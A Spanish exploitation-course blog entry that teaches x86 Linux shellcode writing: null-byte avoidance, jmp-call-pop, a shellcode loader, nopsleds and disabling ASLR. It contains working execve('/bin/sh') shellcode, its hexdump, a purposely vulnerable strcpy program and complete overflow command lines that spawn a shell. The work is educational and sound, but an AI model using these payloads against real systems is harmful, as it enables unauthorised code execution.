El motivo de esta restricción ya lo vimos en la entrada anterior. Funciones como strcpy() o strcat(), susceptibles a bof, sólo copian hasta el primer byte nulo que encuentren. Si nuestra shellcode llevara bytes nulos sólo se inyectarían los bytes de la shellcode que estén antes que el primero de estos bytes nulos y por lo tanto se quedaría incompleta. Para evitar la introducción de estos bytes hay que analizar la shellcode una vez programada y jugar con ella para quitarlos. Es un proceso bastante artístico aunque debido a que las shellcodes en general suelen ser reducidas, resulta bastante fácil atacar este problema. En general sólo necesitamos poner registros a cero o poner algún byte a cero en alguna parte de la memoria. Para poner registros a cero podemos usar el truco de "xorear" el registro consigo mismo. Y para poner algún cero en cierta parte de la memoria, en vez de poner una instrucción que hace uso del literal $0x0, podemos xorear un registro y luego mover su contenido, o poner en un registro un número, luego restar ese mismo número y luego mover a memoria. En definitiva, hay muchas formas de lograrlo.

No contener saltos de línea

Esta restricción es igual que la de los bytes nulos pero si la función que se va a explotar es gets(). Esta función no se detiene con el byte nulo sino con el salto de línea o un EOF. En UNIX el salto de línea es sólo '\n' = \xa, en Windows es '\r\n' = \xd\xa, y en MacOS es '\r' = \xd. Ojito con el sistema que estés explotando. Al igual que en el caso anterior, tendremos que analizar los bytes de la shellcode y eliminar la secuencia de salto de línea allí donde se dé (si es que se da).

Ser "relocatable"

Esto ya es más interesante, como vimos en la entrada anterior la shellcode es inyectada en una zona de memoria que en principio no conocemos y recurrimos al GDB para mirar las direcciones donde iba cayendo para sustituir en el código de la shellcode todas aquellas referencias a memoria (que marcabamos en principio con \xeeeeeeee y \xdddddddd) por las direcciones necesarias. Sobra decir que eso es algo muy feo y poco práctico. Para empezar es un coñazo estar teniendo que entrar siempre al GDB y hacer cálculos de dónde cae cada cosa de la shellcode. Por otro lado eso es algo nada práctico puesto que podría ocurrir (y ocurrirá) que las direcciones de memoria donde caiga la shellcode no sean las mismas dentro de gdb que fuera. Se hace necesario pues, una técnica para hacer que caiga donde caiga la shellcode, pueda seguir haciendo su trabajo.

Para este cometido existe un truco muy conocido y que a mi me encanta, no es complicado, funciona para cualquier dirección de memoria y me parece muy elegante (¡el que lo inventó es un artista!). Se trata de hacer un jmp-call-pop, veámoslo in situ.

.globl main

main:
    jmp trick
shellcode:
    popl %ebx
    /* Resto del codigo. */

trick:
    call shellcode

.string "/bin/sh"

Aquí tenemos lo que podría ser el esqueleto de nuestra primera shellcode con el truco del jmp-call-pop. Cuando este código empiece, lo primero que se hará será ejecutar el jmp que redigirá el flujo al call (al final del código y justo antes de los datos). A su vez el call volverá a redirigir el flujo de ejecución arriba a la siguiente instrucción al jmp, el pop. Recordemos que una de las cosas que hace call además de cambiar el EIP es pushear a la pila la dirección de retorno. ¿Cuál sería la dirección de retorno en este caso?, pues la de la siguiente instrucción al call, la instrucción que se formará con los primeros bytes de la cadena "/bin/sh". Nos da igual cual sea, pero luego sacaremos de la pila con el pop y conseguiremos que el registro EBX apunte a "/bin/sh" :).

A partir de este punto ya no hay necesidad de que el código haga referencias directas a los datos, sino hacer referencias indirectas en base al registro EBX. Completemos esta shellcode.

.globl main

main:
    jmp trick
shellcode:
    popl %ebx

    xorl %ecx, %ecx
    xorl %edx, %edx
    movb $0xb, %al
    int $0x80

trick:
    call shellcode

.string "/bin/sh"

No tiene ningún misterio, compilamos y ejecutamos para confirmar su funcionamiento.

$ gcc -o shellcode1 shellcode1.s 
$ ./shellcode1 
$ env
PWD=/path
$ exit
exit
$

Hasta aquí todo bien, vemos que la shellcode funciona como programa en sí mismo, pero ahora tenemos que coger sólo los bytes que nos interesa inyectar, no todo el binario como hemos explicado anteriormente.

$ objdump -d shellcode1 | egrep -A17 "<main>"
080483b4 <main>:
 80483b4:    eb 0b                    jmp    80483c1 <trick>

080483b6 <shellcode>:
 80483b6:    5b                       pop    %ebx
 80483b7:    31 c9                    xor    %ecx,%ecx
 80483b9:    31 d2                    xor    %edx,%edx
 80483bb:    31 f6                    xor    %esi,%esi
 80483bd:    b0 0b                    mov    $0xb,%al
 80483bf:    cd 80                    int    $0x80

080483c1 <trick>:
 80483c1:    e8 f0 ff ff ff           call   80483b6 <shellcode>
 80483c6:    2f                       das  
 80483c7:    62 69 6e                 bound  %ebp,0x6e(%ecx)
 80483ca:    2f                       das  
 80483cb:    73 68                    jae    8048435 <__libc_csu_init+0x65>
 80483cd:    00 90 90 55 57 56        add    %dl,0x56575590(%eax)

En negrita están los bytes que pertenecen a la shellcode. Un detalle que quiero resaltar de lo que aquí se ve es la codificación de los saltos que ha usado GCC. Fijémonos por ejemplo en el jmp del principio, \xeb\x0b. No vamos a desglosarlo a nivel de bits porque nos llevaría bastante tiempo. Asumamos que el byte \xeb es el opcode de x86 para un salto incondicional (esto no es verdad, todos los bits que ahí se encuentran significan mucho más), el byte \x0b viene a ser "la cantidad de bytes a desplazarse a partir de la siguiente instrucción". Así pues, si contamos a partir del byte \x5b de la siguiente instrucción 11 bytes, veremos que acabamos en el byte \xe8 que es el comienzo de la instrucción call. ¿Y para qué todo esto?. En este caso GCC ha usado un direccionamiento relativo para codificar los saltos (también con el call, vemos que usa un número negativo 0xfffffff0), pero esto no tiene por qué ser así siempre. En x86 también se puede codificar los saltos con direccionamiento directo, hardcodeando en la instrucción la dirección a saltar. Cuidado con como se comporta el compilador que estemos usando, comprobemos esto después de compilar las shellcodes.

Poner bytes nulos al final de las strings

En general nuestras shellcodes utilizarán algunas strings, en el caso que estamos viendo tenemos "/bin/sh", pero ¿qué pasa si queremos utilizar más strings?. Vamos a irlo explicando con un ejemplo.

Imaginemos que queremos pasarle parámetros a la shell, en concreto "-c "echo hola"", para que simplemente ejecute ese comando y termine. Para ello necesitamos que el registro ECX contenga el vector con las strings de los parámetros... hablando en C esto significa que ECX debe contener un puntero que apunta a un vector de punteros a strings... lioso, veamos el gráfico para aclararlo.


Esta es la estructura que deberá haber a partir de ECX (el puntero a los parámetros de la llamada al sistema sys_execve) para la correcta ejecucción. No nos olvidemos que el primer parámetro es el propio nombre del programa y que este vector debe terminar con un puntero nulo debido a que sys_execve no tiene un parámetro para indicar el tamaño de éste. Por desgracia estos datos no pueden ir tal cual en la shellcode, ya que las strings deben terminar con el byte nulo y nosotros no podemos poner este byte.

En este caso lo que se hace es poner otro byte y meter lógica adicional en la shellcode para que antes de llamar a sys_execve, se pongan en esos bytes un nulo. Veámoslo en la práctica.

USE32

main:
    jmp trick
shellcode:
    ; Prepara EBX, EDX y ESI
    pop ebx
    xor eax, eax
    xor edx, edx
    xor esi, esi

    ; Mueve a XXXX la direccion de /bin/sh
    mov edi, ebx
    mov ecx, edi
    add cl, 21
    mov [ecx], edi

    ; Pone un byte nulo en A
    add edi, 7
    mov [edi], dl

    ; Mueve a YYYY la direccion de -c
    inc edi
    mov [ecx+0x4], edi

    ; Pone un byte nulo en B
    add edi, 2
    mov [edi], dl

    ; Mueve a ZZZZ la direccion de echo hola
    inc edi
    mov [ecx+0x8], edi

    ; Pone byte nulo en C
    add edi, 9
    mov [edi], dl

    ; Pone a nulo los bytes con 0000
    mov [ecx+0xc], edx

    ; sys_execve
    mov al, 0xb   
    int 0x80

trick:
    call shellcode

db "/bin/shA-cBecho holaCXXXXYYYYZZZZ0000"

¡Hey, ¿qué es todo esto?!. No pasa nada, como llegados a este punto hemos hecho los deberes, y dado que ya vimos en cierto momento algo de las diferencias entre la sintaxis AT&T e Intel, pues entendemos esto perfectamente }:-).

El cambio este se debe a que voy a usar otro programa para la compilación y así de paso vamos haciendo ciertas tareas más fáciles. Lo que aquí presento no es más que la shellcode de antes, pero con los trucos y técnicas que hemos ido viendo. Vemos que tiene el jmp-call-pop para la "relocatabilidad". Al final vemos que los datos son "/bin/shA-cBecho holaCXXXXYYYYZZZZ0000". La lógica del programa aunque algo extensa, no es complicada. A saber, el vector con las direcciones a strings sera la zona de memoria que contiene "XXXXYYYYZZZZ0000", dado que estoy en una máquina de 32 bits, las direcciones serán de 32 bits (4 bytes) así que XXXX será una, YYYY otra y ZZZZ otra, respectivamente serán la dirección a "/bin/sh", "-c" y "echo hola". He puesto comentarios en el código para que se pueda seguir con relativa facilidad. Dejo al lector la tarea de comprender "byte a byte" el programa.

Este programa no lo compilare con GCC y no lo voy a ejecutar, ya que va a producir una violación de segmento, ¿por qué? porque todo eso estará contenido en zona de código (.text), incluida toda la string del final. Como ya sabemos esa zona de memoria no tiene permisos de escritura. Este programa intentará escribir en A, B, C, XXXX, YYYY, ZZZZ y 0000, pero no podrá.

La cosa se complica a la hora de depurar shellcodes, puede ser un trabajo pesado así que en su momento me programé un pequeño programa para hacer algo más fácil esta tarea (seguramente hay programas mejores para hacer estas cosas, pero yo no los conozco). Se trata de un pequeño programa que lee los bytes de la shellcode de un fichero, los pone en el heap (tiene todos los permisos) y luego salta allí. Este es el programa.

/*
 * Program for debug shellcodes.
 *
 * Author: Ole.
 */

#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define    N_PARMS    (2)
#define    ERRCODE    (0x01ec0ded)

int main(int argc, char *argv[]) {
    int fd, remaining_bytes, offset;
    struct stat shell_stat;
    off_t len_shellcode;
    void *(*shellcode)();
    ssize_t bytes_read;

    if (argc != N_PARMS)
        fprintf(stderr, "Usage: %s <shellcode>\n", argv[0]), exit(ERRCODE);

    if (stat(argv[1], &shell_stat) == -1)
        fprintf(stderr, "Error stat().\n"), exit(ERRCODE);

    len_shellcode = shell_stat.st_size;
    if ((shellcode = malloc(len_shellcode + 1)) == NULL)
        fprintf(stderr, "Error malloc().\n"), exit(ERRCODE);
    memset(shellcode, 0, len_shellcode + 1);

    if ((fd = open(argv[1], O_RDONLY)) == -1)
        fprintf(stderr, "Error open().\n"), exit(ERRCODE);

    remaining_bytes = len_shellcode;
    offset = 0;
    bytes_read = read(fd, ((char *)shellcode) + offset, remaining_bytes);
    while (bytes_read != -1 && bytes_read != 0) {
        remaining_bytes -= bytes_read;
        offset += bytes_read;
        bytes_read = read(fd, (char *)shellcode + offset, remaining_bytes);
    }

    close(fd);
    if (bytes_read == -1)
        fprintf(stderr, "Error read().\n"), exit(ERRCODE);

    shellcode();
    return 0;
}


No me voy a parar aquí a analizarlo (aunque si te pones seguro que no te cuesta mucho entenderlo), el código lo puedes descargar de aquí.

El fichero que se le pasa no debe ser un ejecutable (no vale el programa producido por GCC), sino que debe ser estrictamente los bytes que componen nuestra shellcode. Es por ello que ahora he escrito la shellcode para nasm (netwide assembler), otro compilador muy útil para escribir shellcodes. Por defecto nasm produce un fichero que contiene solamente los bytes de nuestra shellcode :). Veámoslo un poco por las tripas.

$ nasm shellcode1.asm -o shellcode1nasm 
$ hexdump -C shellcode1nasm
00000000  eb 2e 5b 31 c0 31 d2 31  f6 89 df 89 f9 80 c1 15  |..[1.1.1........|
00000010  89 39 83 c7 07 88 17 47  89 79 04 83 c7 02 88 17  |.9.....G.y......|
00000020  47 89 79 08 83 c7 09 88  17 89 51 0c b0 0b cd 80  |G.y.......Q.....|
00000030  e8 cd ff ff ff 2f 62 69  6e 2f 73 68 41 2d 63 42  |...../bin/shA-cB|
00000040  65 63 68 6f 20 68 6f 6c  61 43 58 58 58 58 59 59  |echo holaCXXXXYY|
00000050  59 59 5a 5a 5a 5a 30 30  30 30                    |YYZZZZ0000|
0000005a

Podemos ver gracias a hexdump que efectivamente lo producido son los bytes de nuestra shellcode. Usando ahora el programa que comenté antes vamos a ejecutar esta shellcode.

$ ./shellcodes-dbg shellcode1nasm
hola

Y efectivamente vemos que obtenemos lo que esperábamos. Comentar también que la mayor utilidad del programa que he presentado es para ejecutarlo desde dentro del gdb y poder seguir instrucción a instrucción lo que está haciendo nuestra shellcode.

No hacer uso de bibliotecas

El motivo de esta restricción ya la hemos comentado, estamos inyectando la shellcode en un entorno desconocido (el mapa de memoria de otro proceso). Por lo tanto no sabemos qué bibliotecas están enlazadas al proceso en ese momento y por lo tanto no debemos hacer uso de funciones a las que estamos muy constumbrados como printf().

Aun así ya veremos más adelante (para bypassear exec-shield) que esto no siempre es verdad, y que a veces sí podemos aprovecharnos de bibliotecas externas, aunque por ahora no lo haremos y en general debemos tener cuidado con esto. Hay que ser consciente del entorno donde estamos, el limbo de las shellcodes, un mapa de memoria desconocido y hostil.

Pero esto no es problema, las funciones de biblioteca realmente interesantes acaban siendo wrappers a llamadas al sistema, así que simplemente tenemos que llamar nosotros directamente. Esto ya lo hemos estado haciendo, hemos llamado a sys_execve todo este tiempo. El problema de esto es que tendremos que conocer las llamadas al sistema, pero eso sólo hace de toda esta disciplina algo más interesante :).

Ser lo más pequeña posible

Podríamos desarrollar shellcodes con montón de funcionalidades, pero todo eso es lógica adicional y por lo tanto bytes adicionales. Los buffers a explotar no tienen por qué ser grandes. Si la distancia entre el comienzo de ese buffer y la dirección de retorno a sobreescribir es menor que el tamaño de nuestra shellcode no podremos explotar el bof correctamente, ya que parte de nuestro código acabará en la dirección de retorno. Por ello es interesante desarrollar shellcodes pequeñas, que quepan en el menor espacio posible, de forma que nos permitan explotar bofs con bufferes (¿bufferes debería llevar tilde?) muy pequeños.

Para dotar de más funcionalidad a nuestra shellcodes podemos utilizar (que a mi se me ocurra) una shellcode en "dos tiempos", como el grub. Primero un código muy simple que explota el bof y toma el control y que luego carga el resto del código (se lo pide a la máquina que ha realizado la explotación). No lo sé porque no lo he analizado por dentro, pero seguramente meterpreter (metasploit interpreter) haga algo así.

Nopsleds

Antes de presentar esta técnica/solución voy a presentar el problema al que ayuda, ya que hasta ahora no lo hemos visto. En la entrada anterior ejecutamos la shellcode (la calculadora) desde el GDB, en ningún momento llegue a hacerlo desde el exterior. Vamos ahora a hacerlo. Recordemos el entorno.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int main(int argc, char *argv[]) {
    char buffer[128];

    if (argc != 2)
        printf("Usage: %s <param>\n", argv[0]), exit(-1);

    strcpy(buffer, argv[1]);
    return 0;
}

Bof de libro, se sobreescribe la dirección de retorno desde los 140 bytes compilando con los flag -fno-stack-protector -zexecstack para quitar las protecciones.

Vamos ahora a usar una shellcode usando todo lo que hemos aprendido hasta ahora.

USE32

main:
    jmp trick
shellcode:
    pop ebx
    xor eax, eax
    xor edx, edx
    xor esi, esi

    ; Poner \0 en el primer 0
    mov [ebx+0x7], dl

    ; Poner 0x00000000 en los 0000 finales
    mov [ebx+0xc], edx

    ; Poner direccion de /bin/sh en XXXX
    mov ecx, ebx
    add ecx, 0x8
    mov [ecx], ebx

    ; sys_execve
    mov al, 0xb
    int 0x80

trick:
    call shellcode

db "/bin/sh0XXXX0000"

Ahora desde el GDB vamos a hacer la explotación, voy a hacerlo rápido ya que conozco muchos detalles de este programa ya (0xbfffff290, la shellcode pesa 47 bytes).

$ gdb -q bof
Reading symbols from /path/bof...(no debugging symbols found)...done.
(gdb) r "`cat shellcodes/shellcode1nasm; perl -e 'print "A"x93 . "\x90\xf2\xff\xbf"'`"
Starting program: /path/bof "`cat shellcodes/shellcode1nasm; perl -e 'print "A"x93 . "\x90\xf2\xff\xbf"'`"
process 14556 is executing new program: /bin/dash
$ whoami
ole
$ exit
[Inferior 1 (process 14556) exited normally]

Sé que el comando (en negrita) ese puede resultar algo esotérico, pero mi recomendación es hacerlo así. A veces podemos tener un problema a la hora de pasar nuestra shellcode a través de parámetros y es que, si contiene bytes que bash considera "separadores de palabras" (espacios, tabulaciones, saltos de línea), nos la puede jugar y hacernos bastante difícil la depuración del problema. La forma en la que aquí hago para que bash considere todo una única string es encerrarlo todo entre comillas dobles... hay algo que me resulta curioso, no me ha hecho falta escapar las comillas dobles que uso para las Aes y la dirección de retorno... Pues eso, que cuidado con lo que escribimos, asegúrate de entenderlo todo, o lo que es lo mismo, de ser consciente de que no lo entiendes todo y que si tienes problemas pueden venir de cualquier lado.

Volviendo a la ejecución, hemos visto que efectivamente se ha ejecutado una consola (/bin/sh es un enlace simbólico a /bin/dash en este caso). Sin embargo si probamos lo mismo fuera del GDB (como sería un escenario más normal) no tendremos éxito.

$ ./bof "`cat shellcodes/shellcode1nasm; perl -e 'print "A"x93 . "\x90\xf2\xff\xbf"'`"
Segmentation fault (core dumped)

Y después de un montón de lío, llegamos al problema que intenta solucionar los nopsleds (lo siento, pero había que introducirlo para entenderlo). Este segmentation fault se debe a que el buffer ha cambiado de dirección, ya no está en 0xbffff290. Para demostrarlo vamos a hacer una pequeña modificación al programa con bof para que muestre la dirección del buffer.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int main(int argc, char *argv[]) {
    char buffer[128];

    printf("Buffer addr: %p\n", buffer);

    if (argc != 2)
        printf("Usage: %s <param>\n", argv[0]), exit(-1);

    strcpy(buffer, argv[1]);
    return 0;
}

Compilamos y ejecutamos unas cuantas veces.

$ gcc -fno-stack-protector -zexecstack -o bof2 bof2.c  
$ ./bof2
Buffer addr: 0xbfd5a810
Usage: ./bof2 <param> 
$ ./bof2
Buffer addr: 0xbfaf8040
Usage: ./bof2 <param> 
$ ./bof2
Buffer addr: 0xbfeed690
Usage: ./bof2 <param> 
$ ./bof2
Buffer addr: 0xbfd57220
Usage: ./bof2 <param>

Como vemos, la dirección de buffer está cayendo cada vez en direcciones distintas, y lo que es peor, direcciones bastante alejadas entre sí. Esto es debido a que tenemos activo ASLR (Address Space Layout Randomization), el cometido de esta técnica es aleatorizar las regiones de memoria de los procesos de forma que en cada ejecución estén en direcciones distintas, precisamente para dificultar la explotación de bofs. Ya veremos más adelante técnicas para bypassear ASLR (¡que guay!), pero por ahora sólo vamos a desactivarlo.

$ sudo sysctl -w kernel.randomize_va_space=0

Dentro de GDB no hay ASLR, por eso nunca nos variaba la dirección del buffer (0xbffff290). Probemos ahora a volver a ejecutar el programa.

$ ./bof2
Buffer addr: 0xbffff380
Usage: ./bof2 <param>
ole@ubuntu:~/Desktop/curso exploiting$ ./bof2
Buffer addr: 0xbffff380
Usage: ./bof2 <param>
ole@ubuntu:~/Desktop/curso exploiting$ ./bof2
Buffer addr: 0xbffff380
Usage: ./bof2 <param>

Aquí quiero hacer notar dos cosas. La primera y más obvia es que el buffer ahora está siempre en la misma dirección ya que no hay ASLR. La segunda, también bastante obvia, es que el buffer no está en la misma dirección que dentro de GDB. Cuando explotamos un bof dentro del GDB luego hay que averiguar dónde está el buffer sin GDB de por medio. En este caso ya lo sabemos porque tenemos el código fuente del programa y lo hemos podido modificar, pero esto no siempre es así.

Esto puede ser un dolor de cabeza sobre todo si no podemos depurar el programa y tenemos que empezar a probar direcciones a lo bruto, ya que para que nuestra shellcode funcione tenemos que saltar exactamente a la dirección donde se encuentra el buffer. Para colmo esta dirección no va a ser siempre la misma en diferentes ejecuciones, puede variar y esto es otro problema más. La posición del buffer a explotar dependerá de cuánta información haya en la pila antes de la ejecución de la función que contiene el buffer a explotar. En este caso es un entorno muy controlado, main(), pero imaginate la situación si hubiera recursividad dependiente de un parámetro que nosotros no controlamos. Averiguar la dirección exacta del buffer podría llegar a ser un sufrimiento. La dirección del buffer también depende entre otras cosas, de los parámetros de main(), recordemos que como a cualquier otra función, main() tiene sus parámetros antes de la dirección de retorno, del saved ebp y del espacio dedicado a variables locales. Veámoslo.

$ ./bof2 "`cat shellcodes/shellcode1nasm; perl -e 'print "A"x93 . "\x80\xf3\xff\xbf"'`"
Buffer addr: 0xbffff2e0
Segmentation fault (core dumped)

Pensar que sobreescribiendo la dirección de retorno por la dirección que vimos antes ya ejecutaríamos la shellcode no es correcto, ya que ahora el buffer está en 0xbfffff2e0. Esto es debido a que antes no pasamos argumentos al programa y ahora sí y además uno bastante grande. Evidentemente ahora sí conocemos la dirección a saltar.

$ ./bof "`cat shellcodes/shellcode1nasm; perl -e 'print "A"x93 . "\xe0\xf2\xff\xbf"'`"
$ whoami
ole
$ exit


Ahora sí hemos conseguido ejecutar la shellcode desde el exterior, pero claro, conociamos la dirección del buffer y hemos pasado en ambos casos el mismo tamaño de parámetros. Una de las cosas que hay que hacer notar es que incluso el nombre del programa influye en la posición del buffer. Recordemos que uno de los parámetros que se le pasa a main es argv, en cuya primera posición está el nombre del programa. Esto significa que si ejecutaramos el mismo programa pero llamándolo "programa_con_nombre_muy_largo" en vez de "bof", también influiría en la posición del buffer.

Pero no todo son malas noticias. Muchas veces la posición no varia tanto, unos cuantos bytes digamos (como ha sido el caso anterior, 0xbffff380 - 0xbffff2e0 = 160 bytes). En estos casos podemos aprovecharnos de la técnica de rellenar el comienzo del buffer con un nopsled y poner al final nuestra shellcode. Básicamente de lo que se trata es de poner un montón de instrucciones nop al comienzo del buffer, luego aunque no conozcamos la posición exacta del comienzo del mismo, si conocemos más o menos por donde cae pues saltamos por ahí y probamos suerte. Si caemos en medio del nopsled empezarán a ejecutarse nops hasta llegar a la shellcode real. Esta técnica básicamente es poner un "colchón" delante de la shellcode y "saltar por ahí más o menos". Veámoslo desde dentro.

$ gdb -q bof
Reading symbols from /path/bof...(no debugging symbols found)...done.
(gdb) br *main+71
Breakpoint 1 at 0x804848b
(gdb) r "`perl -e 'print "\x90"x93'; cat shellcodes/shellcode1nasm; perl -e 'print "\xe0\xf2\xff\xbf"'`"
Starting program: /path/bof "`perl -e 'print "\x90"x93'; cat shellcodes/shellcode1nasm; perl -e 'print "\xe0\xf2\xff\xbf"'`"

Breakpoint 1, 0x0804848b in main ()
(gdb) nexti
0x08048490 in main ()
(gdb) x/40xw $esp
0xbffff280:    0xbffff290    0xbffff561    0x00000001    0xb7ebc1f9
0xbffff290:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff2a0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff2b0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff2c0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff2d0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffff2e0:    0x90909090    0x90909090    0x90909090    0x5b18eb90
0xbffff2f0:    0xd231c031    0x5388f631    0x0c538907    0xc183d989
0xbffff300:    0xb0198908    0xe880cd0b    0xffffffe3    0x6e69622f
0xbffff310:    0x3068732f    0x58585858    0x30303030    0xbffff2e0


Vemos que hay un montón de bytes \x90 (instrucción nop en x86) al principio del buffer. Podríamos saltar a cualquiera de ellos y simplemente se empezarían a ejecutar uno detrás de otro sin hacer nada hasta llegar al byte \xeb del jmp, donde realmente comienza el trabajo. Un detalle, esto que he puesto es lo que realmente ejecuté mientras escribía esta parte de la entrada. No me di cuenta y no sustituí la dirección de retorno a sobreescribir, dejando la de los ejemplos anteriores (0xbffff2e0) a pesar de que ahora el buffer está en otro lado (0xbffff290), pero precisamente gracias al nopsled la explotación será exitosa :).

(gdb) cont
Continuing.
process 3311 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
$ exit
[Inferior 1 (process 3311) exited normally]


Siento que la explicación de este último apartado haya sido tan larga pero como ya he dicho anteriormente, quiero analizar hasta el último detalle y eso implica conocer los problemas y probarlos de verdad.

Bueno, ésta ha sido una entrada realmente larga y con un montón de conceptos a masticar con mucha tranquilidad, pero creo que podemos sacar bastantes cosas de provecho. Para empezar ya estamos empezando a explotar un bof (sin protecciones) sin el GDB. Además ahora tenemos un pequeño repertorio de shellcodes, ¿no? :).

Saludos.